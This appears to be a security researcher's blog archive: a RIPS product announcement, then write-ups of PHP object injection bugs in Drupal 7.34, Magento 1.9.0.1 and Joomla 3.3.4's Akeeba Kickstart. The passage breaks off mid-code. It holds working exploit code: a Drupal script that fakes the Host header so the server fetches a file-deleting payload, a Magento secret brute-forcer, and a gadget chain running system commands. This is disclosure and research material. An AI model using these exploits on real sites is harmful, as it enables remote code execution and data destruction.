New RIPS brings an Advent full of PHP Application Vulnerabilities

November 29, 2016

The year is coming to an end and many things have changed. In the past three years, I have researched new static code analysis techniques and finished the development of a complete new generation of RIPS. The new generation is a state-of-the-art SAST tool for the automated detection of security issues in PHP code and it’s based on a fundamentally different engine than the previous versions. With its strong focus on all subtlenesses and security pitfalls of the PHP language and with new code analysis techniques it clearly outperforms any other solution for PHP security analysis I have seen. Together with a passionate team of experts, we founded the RIPS Technologies company and released the next generation of RIPS as a standalone product and also as a cloud service. Although personally it was a difficult decision to commercialize a project I have been working on since 7 years, it is a great opportunity to continue working full-time on RIPS and to advance it together (join us!).

Due to all these changes there was little time left for research and new blog posts. Nonetheless, our team and customers have been using the next generation of RIPS daily throughout the year and as a result have discovered many interesting security bugs in PHP applications. In order to sweeten your Christmas time, we will publish a technical description for some of these bugs in form of an advent calendar at the RIPS Technologies Blog. Each day until Christmas, a new post will uncover a new security vulnerability or provide insights into the new RIPS engine and its cool features. I hope you will enjoy the posts and I wish you all a Merry Christmas!

Open the Advent of PHP Application Vulnerabilities (APAV) calendar


Drupal 7.34 Admin PHP Object Injection

January 9, 2015

There is an interesting PHP object injection vulnerability in the latest Drupal 7.34 version I played with lately and wanted to write about. It requires administrator privileges and thus its security impact is negligible because a Drupal administrator can execute arbitrary code by uploading custom modules anyway. However, the exploitation is fun and I will document each failed/succeeded step I took.

1. PHP Object Injection

Drupal is shipped with a SimpleTest module that allows to write and execute test cases for Drupal modules (/modules/simpletest/drupal_web_test_case.php). For this purpose, the class DrupalTestCase provides methods to automate interaction with the Drupal interface. The method curlHeaderCallback() unserializes data that is passed to its second parameter, for example if the string X-Drupal-Assertion-1: is prepended.

protected function curlHeaderCallback($curlHandler, $header) {  
	...
	if (preg_match('/^X-Drupal-Assertion-[0-9]+: (.*)$/', $header, $matches)) {  
		// Call DrupalWebTestCase::error() with the parameters from the header.  
		call_user_func_array(array(&$this, 'error'), unserialize(urldecode($matches[1])));  
	}

Lets see where this method is used. As the name suggests, the curlHeaderCallback() is set as CURLOPT_HEADERFUNCTION callback in the curlInitialize() method.

protected function curlInitialize() {
	global $base_url;

	if (!isset($this->curlHandle)) {
	   $this->curlHandle = curl_init();
	   $curl_options = array(
		CURLOPT_COOKIEJAR => $this->cookieFile,
		CURLOPT_URL => $base_url,
		CURLOPT_FOLLOWLOCATION => FALSE,
		CURLOPT_RETURNTRANSFER => TRUE,
		CURLOPT_SSL_VERIFYPEER => FALSE, 
		CURLOPT_SSL_VERIFYHOST => FALSE,
		CURLOPT_HEADERFUNCTION => array(&$this, 'curlHeaderCallback'),
		CURLOPT_USERAGENT => $this->databasePrefix,
	   );

That means that every HTTP response header of a request made with this CURL instance is passed through the vulnerable curlHeaderCallback() method. If we can influence the HTTP response header of such an CURL request, we can inject serialized PHP objects into the unserialize call. The HTTP response we want to achive could look like the following in order to inject a stdClass object into the applications scope:

HTTP/1.1 200 OK
Date: Sun, 04 Jan 2015 15:03:36 GMT
Server: Apache
X-Drupal-Assertion-1: O:8:"stdClass":1:{s:4:"rips";b:1;}
Content-Length: 0
Content-Type: text/html

The method curlInitialize() is used in the curlExec() method to prepare and execute a CURL request. Here, further CURL options can be specified in the first parameter $curl_options.

protected function curlExec($curl_options, $redirect = FALSE) {
	$this->curlInitialize();
	...
	curl_setopt_array($this->curlHandle, $this->additionalCurlOptions + $curl_options);
	...
	$content = curl_exec($this->curlHandle);

The wrapper curlExec() is used in the methods drupalGet() and drupalPost() to perform the actual test case request. The targeted request URL is given in the first parameter and is used as CURLOPT_URL parameter.

protected function drupalGet($path, array $options = array()) {
	$options['absolute'] = TRUE;

	$out = $this->curlExec(array(CURLOPT_URL => url($path, $options));

2. Header Injection

We now have two possible ways of exploitation. Either, we find a drupalGet() call that we can point to an external domain we control. Then we can respond with a modified HTTP header that will be passed to curlHeaderCallback() and triggers the unserialize.

Or we find a HTTP Response Splitting vulnerability within on of Drupal’s scripts plus a drupalGet() or drupalPost() call targeting that script. Then we can inject our own X-Drupal-Assertion header through that vulnerability and add our serialized data. An open redirect vulnerability would work as well here.

A quick grep for drupalGet() calls reveals that they are mostly pointing to static and relative URLs. Since Drupal’s test cases work on the current Drupal installation, a call to an external domain we control is unlikely. Hence, I first looked for HTTP Response Splitting vulnerabilities.

2.1 Drupal Send Headers

Looking at several header() calls in Drupal’s code reveals the function drupal_add_http_header() that uses drupal_send_headers() to set arbitrary HTTP headers via header(). It is called with user input in the simpletest case /modules/simpletest/tests/system_test.module that looks promising at first sight.

function system_test_set_header() {  
   drupal_add_http_header($_GET['name'], $_GET['value']);  
   return t('The following header was set: %name: %value', array('%name' => $_GET['name'], '%value' => $_GET['value']));  
}  

The function system_test_set_header() is called in the system test case suite and allows to set arbitrary HTTP headers for testing. This way, we could set a X-Drupal-Assertion header. However, the system_test.module test case itself is not targeted by a drupalGet() call that would evaluate our injected HTTP header with the vulnerable callback handler. That would mean that a test case issues this test case. And even if we could point a drupalPost() call of a test case to another test case, we would need HTTP parameter pollution to also modify the HTTP parameters to add the name and value parameter. Summarized, code within test cases is probably hard to trigger with the set of drupalGet() calls we can find in test cases. Maybe we find an easier way.

2.2 HTTP Response Splitting

A more promising function is drupal_goto() in /includes/common.inc that is vulnerable to HTTP response splitting. Here, the GET parameter destination is used (if set) in the header() call in line 691 for redirection. By using whitespace characters, such as %0a or %0d, we can add another HTTP header to the previous one (we will come back to the fact that the header() function was fixed).

function drupal_goto($path = '', array $options = array(), $http_response_code = 302) {  
   // A destination in $_GET always overrides the function arguments.  
   // We do not allow absolute URLs to be passed via $_GET, as this can be an attack vector.  
   if (isset($_GET['destination']) && !url_is_external($_GET['destination'])) {  
     $destination = drupal_parse_url($_GET['destination']);  
     $path = $destination['path'];  
     $options['query'] = $destination['query'];  
     $options['fragment'] = $destination['fragment'];  
   }  
   $url = url($path, $options);  
   header('Location: ' . $url, TRUE, $http_response_code);
}  

First, a few tricks are neccessary. The provided destination URL cannot be an external URL which is ensured by the url_is_external() function in line 684. It identifies external URLs by looking for the presence of a : character and ensuring none of the following character is found before it: /?#. Then, the function drupal_parse_url() is used in line 685 to parse the URL into parts. Lastly, the function url() in line 690 generates a urlencoded URL from the parsed parts and that URL is used in header(). We have to smuggle our whitespace characters urldecoded through these functions into the $url.

function drupal_parse_url($url) {
  if (strpos($url, '://') !== FALSE) {
    // Split off everything before the query string into 'path'.
    $parts = explode('?', $url);
    $options['path'] = $parts[0];
    // If there is a query string, transform it into keyed query parameters.
    if (isset($parts[1])) {
      $query_parts = explode('#', $parts[1]);
      parse_str($query_parts[0], $options['query']);
      // Take over the fragment, if there is any.
      if (isset($query_parts[1])) {
        $options['fragment'] = $query_parts[1];
      }
    }
  }

For this purpose, we can abuse the drupal_parse_url() function and its parsing for external URLs. External URLs are identified here by looking for :// and we can easily supply #://AAA?BBB=CCC#DDD as URL to bypass the url_is_external() check because of the # before the : character. Our URL is still parsed as external URL in drupal_parse_url() because it contains ://. Here, the function parse_str() is used in line 583.

Now, for relative URLs, parse_str() replaces whitespaces characters within the path (AAA) or parameter names (BBB) into _. That means we cannot inject our whitespace characters here. We can inject them into the parameter values (CCC) because parse_str() automatically decodes urlencoded values here. Later on, however, the function url() will urlencode these values again. But we can use the fragment part (DDD) which is later not urlencoded again by url(). The weaponized destination parameter looks like the following:

?destination=%23://AAA?BBB=CCC%23DDD%0A%09X-Drupal-Assertion-1:%201

Next, isn’t header() fixed in order to prevent HTTP response splitting? It depends on the browser used (and on the PHP version). For example, in IE there are still attack vectors working after the fix. More importantly for us is: how is CURL affected by HTTP response splitting?

After fuzzing it turns out that all PHP versions allow %0a%09 within header() AND that CURL parses two seperate HTTP headers when these characters are used as newline characters. That means HTTP response splitting is a viable attack vector against CURL in PHP.

So far so good, lets see where drupal_goto() is called and if we can trigger a call via a drupalGet() or drupalPost() call with our destination parameter. For example, I found the following URL to be affected by HTTP response splitting if requested with CURL:

/authorize.php?batch=1&id=1&destination=%23://A?B=C%23D%0A%09X-Drupal-Assertion-1:%201

However, after looking through 1000 variable drupal(Get|Post) calls, the only variables in the URL seem to be $item->ids or Drupal’s $base_url. Although authorize.php is targeted by CURL requests, we can not add our destination parameter to the request URL because no URL is built with user input.

Injecting a parameter into a CURL request that performs HTTP response splitting in order to add a HTTP header that is then unserialized in the callback handler and triggers a gadget chain would have been a pretty cool exploit though ;).

2.3 External URL

Before we give up, lets have a look at the $base_url that is used in so many drupalGet() calls, such as in the aggregator test case (/modules/aggregator/aggregator.test).

public function testCron() {  
     global $base_url;  
     $this->drupalGet($base_url . '/cron.php'); 

The global $base_url variable is initialized within the drupal_settings_initialize() function during Drupal’s bootstrap (/includes/bootstrap.inc).

function drupal_settings_initialize() {  
     global $base_url, $base_path, $base_root;  
     ...
     // Create base URL  
     $http_protocol = $is_https ? 'https' : 'http';  
     $base_root = $http_protocol . '://' . $_SERVER['HTTP_HOST'];  
     $base_url = $base_root; 
     ...
     // Use $base_url as session name, without the protocol  
     list( , $session_name) = explode('://', $base_url, 2);  
     session_name($prefix . substr(hash('sha256', $session_name), 0, 32));
}

The good thing is, that it uses $_SERVER[‘HTTP_HOST’] (line 730). We can arbitrarily change the Host: header when making a request to Drupal. That means, we can set the Host: header to our own domain when initiating the testCron() aggregator test case which will then initiate a CURL request to the modified $base_url. On our server, we reply with a X-Drupal-Assertion HTTP header that is then unserialized by the targeted web server.

The bad thing is, that drupal_settings_initialize() also binds the $base_url to the session name (line 735). That means, we have to fake the Host: header for all steps involved in our exploit. And we have to find some gadget chains we can exploit.

3. Exploitation

Lets do this. The gadget chains are not really sophisticated in Drupal due to the lack of interesting initial gadgets (magic methods). We will use the destructor of the class Archive_Tar (/modules/system/system.tar.inc) that allows to delete an arbitrary file by specifying the _temp_tarname property.

class Archive_Tar {
  function __destruct()  
  {  
     $this->_close();
     if ($this->_temp_tarname != '')  
          @drupal_unlink($this->_temp_tarname);  
  }  
}

On our server we create the following script that instantiates a new Archive_Tar object with the _temp_tarname property set to Drupal’s config file sites/default/settings.php. The object is then serialized and embedded to the HTTP response header.

class Archive_Tar {
	var $_temp_tarname=''; 
	public function __construct() {
		$this->_temp_tarname = "sites/default/settings.php";
	}
}
$payload = urlencode(serialize(new Archive_Tar));
header('X-Drupal-Assertion-1: '.$payload);
exit;

Now we have to start the Drupal test case with a faked Host: header in order to let the drupalGet() CURL request point to our script. For this purpose, we write an exploit that logs into Drupal with a faked header to keep our session valid and starts the test case:

<?php
// Drupal 7.34 POI just for fun
// requires admin credentials

$username = 'admin';
$password = 'admin';

$targetDomain 	= 'localhost';
$myDomain 	= 'websec.wordpress.com';

function request($url, $postdata='', $ajax = false) {
	global $cookie, $myDomain;
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch, CURLOPT_HEADER, true); 	
	curl_setopt($ch, CURLOPT_URL, $url);
	if(!empty($postdata)) {
		curl_setopt($ch, CURLOPT_POST, TRUE);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
	}
	curl_setopt($ch, CURLOPT_COOKIE, $cookie);
	$header = array("Host: $myDomain");
	if($ajax) {
		$header[] = "X-Requested-With: XMLHttpRequest";
	}
	curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
	curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
	$buf = curl_exec ($ch);
	curl_close($ch);
	preg_match('/Set-Cookie: (SESS[a-f0-9]{32})=([^;]+);/', $buf, $cookies);
	if(!empty($cookies)) {
		$cookie .= $cookies[1].'='.$cookies[2]."; "; 
	}
	return $buf;
}

$baseURL = 'http://%s/';
$target = sprintf($baseURL, $targetDomain);
$cookie = 'has_js=1; ';

// get CSRF token
$r1 = request($target);
preg_match('/form_build_id" value="([^"]*)"/', $r1, $build_id);

// login
$postdata = 'form_build_id='. $build_id[1] . '&name='. $username. '&pass='.$password. '&op=Log+in&form_id=user_login_block';
$r2 = request($target . '?q=node&destination=node', $postdata);

// check login status
$r3 = request($target . '?q=node');
if(strpos($r3, 'Hello <strong>'.$username) !== FALSE) {

	// get CSRF token
	$r4 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay');
	preg_match('/form_build_id" value="([^"]*)"/', $r4, $build_id2);
	preg_match('/form_token" value="([^"]*)"/', $r4, $token);
	
	if(isset($build_id2[1]) && isset($token[1])) {
		// run simple test
		$postdata = 'AggregatorCronTestCase=1&op=Run+tests&form_build_id='.$build_id2[1].
		'&form_token='.$token[1].'&form_id=simpletest_test_form';
		$r5 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay&render=overlay', $postdata);
		// trigger start and do
		preg_match('#Location: http[^\s]+(\?[^\s]+)\s#', $r5, $loc);
		$r6 = request($target . $loc[1]);
		$r7 = request($target . str_replace('start', 'do', $loc[1]), 'post=1', true);
		echo 'Successfully started AggregatorCronTestCase with a faked Host header.',
			'It will parse HTTP headers from ' . sprintf($baseURL, $myDomain) . '.',
			'This may take a few minutes.';
	}
	else {
		die("could not fetch simpletest CSRF token");
	}
}
else {
	die("Could not login. Invalid login credentials?");
}

The initiated test case will then make a CURL request to our domain because we faked the $base_url. Here, it will receive our X-Drupal-Assertion header with the serialized Archive_Tar object. This object is now unserialized in the CURL callback handler and injected into the applications scope. Once the application request is parsed, the destructor of our injected Archive_Tar object is invoked and the Drupal configuration file is deleted. Once this happened, the Drupal installer is available to the attacker that enables further attacks.

Again, this is just for fun and does not pose any security risk to Drupal, because administrator privileges are required and an administrator is able to execute code on the server anyway. The issue has been reported to Drupal nonetheless. I have been informed that the permission “Administer tests” has the restricted access flag set and is therefore not subject to security advisories/releases (which I agree with).

The HTTP host header leads to another attack vector in Drupal. The $base_url is also used in the password reset link sent out by email. When the password reset is initiated with a faked host header for a victim, the link that is sent to the victim via email will point to the attackers server. If the victim clicks on the password reset link, the password reset token is then transmitted to the attacker and not to the Drupal installation. Drupal decided to not patch this issue and released a guideline to implement countermeasures.


Magento 1.9.0.1 PHP Object Injection

December 8, 2014

Recently, I found a PHP Object Injection (POI) vulnerability in the administrator interface of Magento 1.9.0.1. Magento is an e-commerce software written in PHP that was acquired by Ebay Inc. A bug bounty program is run that attracts with a 10,000$ bounty for remote code execution bugs. A POI vulnerability can lead to such a remote code execution, depending on the gadget chains the attacker is able to trigger.

Sadly I stopped investigating the POI vulnerability and resumed 1 week later – a fatal error. When I continued investigating exploitable gadget chains, Magento pushed an update in the meantime that patches several security issues. The POI is not mentioned anywhere, but it is fixed by replacing the affected unserialize() call with json_decode().

So no bug bounty, but the exploitation is still worth a look at because it includes a hash verification bypass and a cool gadget that allowed full code coverage in gadget chaining. In the end, an attacker can execute arbitrary code on the targeted server. However, administrator privileges are required.

1. PHP Object Injection

In Magento 1.9.0.1, the method tunnelAction() of the administrator’s DashboardController is affected by a POI vulnerability. It deserializes user data supplied in the ga parameter.

	// app/code/core/Mage/Adminhtml/controllers/DashboardController.php
	public function tunnelAction()  
	{  
		$gaData = $this->getRequest()->getParam('ga');  
		$gaHash = $this->getRequest()->getParam('h');  
		if ($gaData && $gaHash) {  
			$newHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);  
			if ($newHash == $gaHash) {  
				if ($params = unserialize(base64_decode(urldecode($gaData)))) {  

A closer look reveals, however, that the base64 encoded, serialized data is protected with a hash from manipulation. The hash of the gaData is generated with the method getChartDataHash() and is then compared to the hash supplied in the h parameter. Only if both hashes match, the data is deserialized.

Lets get some sample data. The tunnelAction() is triggered, when the dashboard graph is loaded.

	// app/design/adminhtml/default/default/template/dashboard/graph.phtml
	<img src="<?php echo $this->getChartUrl(false) ?>

Here, the method getChartUrl() serializes graph parameters and creates the gaHash of the base64 encoded gaData.

	// app/code/core/Mage/Adminhtml/Block/Dashboard/Graph.php
	function getChartUrl() {
		...
		$gaData = urlencode(base64_encode(serialize($params)));  
		$gaHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);  
		$params = array('ga' => $gaData, 'h' => $gaHash);  
		return $this->getUrl('*/*/tunnel', array('_query' => $params));  
	}

The following request is generated and can be intercepted:

/index.php/admin/dashboard/tunnel/key/803e506c399449c72975fc1fcc2c0435/
?ga=eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9
&h=61f3757d04b665baac6f8176a2012337

We can base64 decode the data in the ga parameter (line 2) and modify the serialized parameters in order to exploit the PHP Object Injection vulnerability. However, we then have to generate a valid hash for our malformed data and replace it with the hash in the h parameter (line 3). Otherwise, our manipulated data is not deserialized.

2. Hash Verification

Lets have a look at how the hash is generated and if we can forge it for manipulated data. The hash is created in the getChartDataHash() method by calculating the MD5 hash of the base64 encoded data concatenated with a secret. If we know this secret, we can generate our own hash for our modified gaData.

	// app/code/core/Mage/Adminhtml/Helper/Dashboard/Data.php
	public function getChartDataHash($data)  
	{  
		$secret = (string)Mage::getConfig()->getNode(Mage_Core_Model_App::XML_PATH_INSTALL_DATE);  
		return md5($data . $secret);  
	}  

Luckily, the secret is cryptographically very weak. As the constant’s name suggests, the config value XML_PATH_INSTALL_DATE refers to the date of the Magento installation in RFC 2822 format. For example, the secret date could look like the following:

Sat, 1 Nov 2014 21:08:46 +0000

Assuming that the installation was performed maximum 1 year ago, there are less than 31 * 12 * 24*60*60 = 32 Mio possibilities. We can take the intercepted sample data to bruteforce the secret date locally. Furthermore, we can narrow down the possible date window by observing the HTTP response header of the targeted web server. For example, the HTTP response for a request of the favicon file tells us its last modification date:

Request:			 
GET /favicon.ico HTTP/1.0
Response
If-Modified-Since: Wed, 05 Nov 2014 09:06:45 GMT

This should equal to the exact date when the installation files were copied to the server. We can then assume, that the installation was performed at least within the same month when this file was extracted. Also, it tells us the timezone (here GMT) used by the server. This leaves us only with 30 * 24*60*60 = 2.6 Mio possibilities which can be bruteforced within a few seconds.

$gaData = 'eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9';

$hash = '61f3757d04b665baac6f8176a2012337';

date_default_timezone_set('GMT');
// Wed, 05 Nov 2014 09:06:45 GMT
$timestamp = mktime(9, 6, 45,  11, 5, 2014);
$today = time();
for($i=0;$i<2592000 && $timestamp<$today; $i++) {
	$secret = date(DATE_RFC2822, $timestamp++);
	if(md5($gaData . $secret) === $hash) {
		echo $secret;
		break;
	}
}

Once we obtained the secret, we can alter the serialized data and create a valid hash for it, so our data is deserialized by the server. That means we can inject arbitrary objects into the application and trigger gadget chains by invoking the object’s magic methods (for more details please refer to our paper).

3. Gadget Chain

Magento’s code base is huge and many interesting initial gadgets (magic methods) can be found that trigger further gadgets (methods). For example, the usual File Deletion and File Permission Modification calls can be triggered in order to delete files. This is partly interesting in Magento, because the deletion of the /app/.htaccess file allows to access the /app/etc/local.xml file which contains the crypto key.

However, since we own already administrative privileges, we are interested in more severe vulnerabilities. It turns out, that the included (and autoloaded) Varien library provides all gadgets we need to execute arbitrary code on the server.

The deprecated class Varien_File_Uploader_Image provides a destructor as our initial gadget that allows us to jump to arbitrary clean() methods.

	// lib/Varien/File/Uploader/Image.php:357		 
	function __destruct()  
	{  
		$this->uploader->Clean();  
	}

This way, we can jump to the clean() method of the class Varien_Cache_Backend_Database. It fetches a database adapter from the property _adapter and executes a TRUNCATE TABLE query with its query() method. The table name can be controlled by the attacker by setting the property _options[‘data_table’].

	 
	// lib/Varien/Cache/Backend/Database.php
	public function clean($mode = Zend_Cache::CLEANING_MODE_ALL, $tags = array())  
	{  
		$adapter = $this->_adapter;  
		switch($mode) {  
			case Zend_Cache::CLEANING_MODE_ALL:  
				if ($this->_options['store_data']) {  
					$result = $adapter->query('TRUNCATE TABLE '.$this->_options['data_table']);  
				} 	
			...
		}
	}

If we provide the Varien_Db_Adapter_Pdo_Mysql as database adapter, its query() method passes along the query to the very interesting method _prepareQuery(), before the query is executed.

	
	// lib/Varien/Db/Adapter/Pdo/Mysql.php
	public function query($sql, $bind = array())  
	{  
		try {  
			$this->_checkDdlTransaction($sql);  
			$this->_prepareQuery($sql, $bind);  
			$result = parent::query($sql, $bind);
		} catch (Exception $e) {  
			...
		}  
	}  

The _prepareQuery() method uses the _queryHook property for reflection. Not only the method name is reflected, but also the receiving object. This allows us to call any method of any class in the Magento code base with control of the first argument – a really cool gadget found by the new RIPS prototype.

	
	// lib/Varien/Db/Adapter/Pdo/Mysql.php	 
	protected function _prepareQuery(&$sql, &$bind = array())  
	{  
		...
		// Special query hook  
		if ($this->_queryHook) {  
			$object = $this->_queryHook['object'];  
			$method = $this->_queryHook['method'];  
			$object->$method($sql, $bind);  
		}
	}  

From here it wasn’t hard to find a critical method that operates on its properties or its first parameter. For example, we can jump to the filter() method of the Varien_Filter_Template_Simple class. Here, the regular expression of a preg_replace() call is built dynamically with the properties _startTag and _endTag that we control. More importantly, the dangerous eval modifier is already appended to the regular expression, which leads to the execution of the second preg_replace() argument as PHP code.

		 
	// lib/Varien/Filter/Template/Simple.php	 
	public function filter($value)  
	{  
		return preg_replace('#'.$this->_startTag.'(.*?)'.$this->_endTag.'#e',
		'$this->getData("$1")', $value);  
	}  

In the executed PHP code of the second preg_replace() argument, the match of the first group is used ($1). Important to note are the double quotes that allow us to execute arbitrary PHP code by using curly brace syntax.

4. Exploit

Now we can put everything together. We inject a Varien_File_Uploader_Image object that will invoke the class’ destructor. In the uploader property we create a Varien_Cache_Backend_Database object, in order to invoke its clean() method. We point the object’s _adapter property to a Varien_Db_Adapter_Pdo_Mysql object, so that its query() method also triggers the valuable _prepareQuery() method. In the _options[‘data_table’] property, we can specify our PHP code payload, for example:

{${system(id)}}RIPS

We also append the string RIPS as delimiter. Then we point the _queryHook property of the Varien_Db_Adapter_Pdo_Mysql object to a Varien_Filter_Template_Simple object and its filter method. This method will be called via reflection and receives the following argument:

TRUNCATE TABLE {${system(id)}}RIPS

When we not set the Varien_Filter_Template_Simple object’s property _startTag to TRUNCATE TABLE and the property _endTag to RIPS the first match group of the regular expression in the preg_replace() call will be our PHP code. Thus, the following PHP code will be executed:

$this->getData("{${system(id)}}")

In order to determine the variables name, the system() call will be evaluated within the curly syntax. This leads us to execution of arbitrary PHP code or system commands.

PoC:

class Zend_Db_Profiler { 
	protected $_enabled = false; 
}
class Varien_Filter_Template_Simple {
	protected $_startTag;
	protected $_endTag;
	public function __construct() {
		$this->_startTag = 'TRUNCATE TABLE ';
		$this->_endTag = 'RIPS';
	}
} 
class Varien_Db_Adapter_Pdo_Mysql {
	protected $_transactionLevel = 0;
	protected $_queryHook;
	protected $_profiler;
	public function __construct() {
		$this->_queryHook = array();
		$this->_queryHook['object'] = new Varien_Filter_Template_Simple;
		$this->_queryHook['method'] = 'filter'; 
		$this->_profiler = new Zend_Db_Profiler;
	}
}
class Varien_Cache_Backend_Database {
	protected $_options;
	protected $_adapter; 
	public function __construct() {
		$this->_adapter = new Varien_Db_Adapter_Pdo_Mysql;
		$this->_options['data_table'] = '{${system(id)}}RIPS';
		$this->_options['store_data'] = true;
	}
}
class Varien_File_Uploader_Image {
	public $uploader;
	public function __construct() {
		$this->uploader = new Varien_Cache_Backend_Database;
	}
}	

$obj = new Varien_File_Uploader_Image;
$b64 = base64_encode(serialize($obj));
$secret = 'Sat, 1 Nov 2014 21:08:46 +0000';
$hash = md5($b64 . $secret);
echo '?ga='.$b64.'&h='.$hash;

The POI was straight-forward but we had to circumvent a hash verification first and find nice gadgets. A reflection injection allowed us to trigger almost arbitrary gadget chains through the entire code base that in the end allowed remote code execution. In the next post we have a look at another POI I played with lately, but triggering the POI itself will be more tricky.


Joomla! 3.3.4 / Akeeba Kickstart – Remote Code Execution (CVE-2014-7228)

October 5, 2014

In our latest paper we evaluated the new RIPS prototype regarding its ability to statically detect PHP object injection (POI) vulnerabilities and related gadget chains in PHP applications. Among others, the prototype reported a previously unknown POI vulnerability in Joomla 3.0.2. It turned out, that this vulnerability was still present in the (at that time) latest Joomla! 3.3.4 version. However, it appeared to be not exploitable because of some requirements and missing chains. Lately, I had a look at it again and found a way to exploit it in 5 steps. The last step still makes exploitation difficult and the severity can be rated as high.

1. Encryption Bypass

The vulnerability affects the Akeeba Kickstart package used in Joomla’s com_joomlaupdate component located in administrator/components/com_joomlaupdate/restore.php. This file is remotely accessible to any unprivileged (not logged-in) user and no authentication check is performed by Joomla!. It is used to install new Joomla! updates from a local ZIP file.
In the masterSetup() function, Akeeba Kickstart checks for an existing restoration.php file and includes it to initialize basic setup parameters. If the restoration.php file does not exist, the execution is aborted. We will come back to this condition later.

$setupFile = 'restoration.php';

if( !file_exists($setupFile) )
{
	// Uh oh... Somebody tried to pooh on our back yard. Lock the gates! Don't let the traitor inside!
	AKFactory::set('kickstart.enabled', false);
	return false;
}

// Load restoration.php. It creates a global variable named $restoration_setup
require_once $setupFile;

Once the file is successfully included, a Joomla! update is performed based on the included setup parameters and externally provided parameters. To avoid tampering, the external parameters are encrypted with AES-128 in CTR mode. However, it is possible to completely bypass the encryption abusing PHP oddities. In Akeeba Kickstart, all parameters are fetched with the getQueryParam() function.

function getQueryParam( $key, $default = null )
{
	if(array_key_exists($key, $_REQUEST)) {
		$value = $_REQUEST[$key];
	} elseif(array_key_exists($key, $_POST)) {
		$value = $_POST[$key];
	} elseif(array_key_exists($key, $_GET)) {
		$value = $_GET[$key];
	} else {
		return $default;
	}
	return $value;
}

It returns parameters from the superglobal $_REQUEST, $_POST, or $_GET array, if existent. First, the external setup parameter json is fetched through getQueryParam(). Then, all entries in the $_REQUEST array are removed to delete all other parameters supplied by the user.

$json = getQueryParam('json', null);

if(!empty($_REQUEST))
{
	foreach($_REQUEST as $key => $value)
	{
		unset($_REQUEST[$key]);
	}
}

However, $_REQUEST holds only a copy (not a reference) of $_GET and $_POST entries. That means that all provided GET and POST parameters are still available in the corresponding array, even when unset in $_REQUEST. The next lines decrypt the json parameter and populate its json encoded data into the $_REQUEST array again.

// Decrypt a possibly encrypted JSON string
if(!empty($json))
{
	$password = AKFactory::get('kickstart.security.password', null);
	if(!empty($password))
	{
		$json = AKEncryptionAES::AESDecryptCtr($json, $password, 128);
	}

	// Get the raw data
	$raw = json_decode( $json, true );
	// Pass all JSON data to the request array
	if(!empty($raw))
	{
		foreach($raw as $key => $value)
		{
			$_REQUEST[$key] = $value;
		}
	}
}

At this point, an attacker can leave the json parameter empty. The function getQueryParam() still returns parameters from $_GET and $_POST because only the $_REQUEST array was emptied. This way, no encryption key is required to provide further setup parameters that are fetched through getQueryParam().

2. PHP Object Injection

The POI vulnerability is straight-forward and appears in the next lines. The factory parameter is fetched through getQueryParam() and fed into the unserialize() method of AKFactory.

// A "factory" variable will override all other settings.
$serialized = getQueryParam('factory', null);  
if( !is_null($serialized) )  
{  
	// Get the serialized factory  
	AKFactory::unserialize($serialized); 
}

This method basically base64 decodes the parameter and instantiates the AKFactory class by unserializing the serialized object and storing it as instance.

Gadget Chains

Lets have a quick look at available gadgets. Akeeba Kickstart’s restore.php file works independently from the Joomla! code base. That means that no classes of Joomla! are loaded and no initial gadgets of Joomla! can be abused. However, it ships some own classes with defined magic methods.

class AKAbstractUnarchiver 
{
	public function __wakeup()
	{
		if($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			...
		}
	}
}

class AKPostprocFTP 
{
	function __wakeup()
	{
		$this->connect();
	}

	public function connect()
	{
		// Connect to server, using SSL if so required
		if($this->useSSL) {
			$this->handle = @ftp_ssl_connect($this->host, $this->port);
		} else {
			$this->handle = @ftp_connect($this->host, $this->port);
		}
		...
	}
}

These gadget chains do not impose a big security risk though and can at most be abused for SSRF or DoS. Considering the precondition of manually creating the restoration.php file, I felt this is not really exploitable, regardless of the encryption bypass.

3. Remote Code Execution

An important lesson I learned from this vulnerability is to not only have a look at the triggered gadget chains of a POI, but also to not forget to look at how the injected object affects the control flow after the injection. Until now, we have full control over the AKFactory instance with the PHP object injection that was triggered in the masterSetup() function.

masterSetup();

$retArray = array(
	'status'	=> true,
	'message'	=> null
);

$enabled = AKFactory::get('kickstart.enabled', false);

if($enabled)
{
	$task = getQueryParam('task');

	switch($task)
	{
		case 'ping':
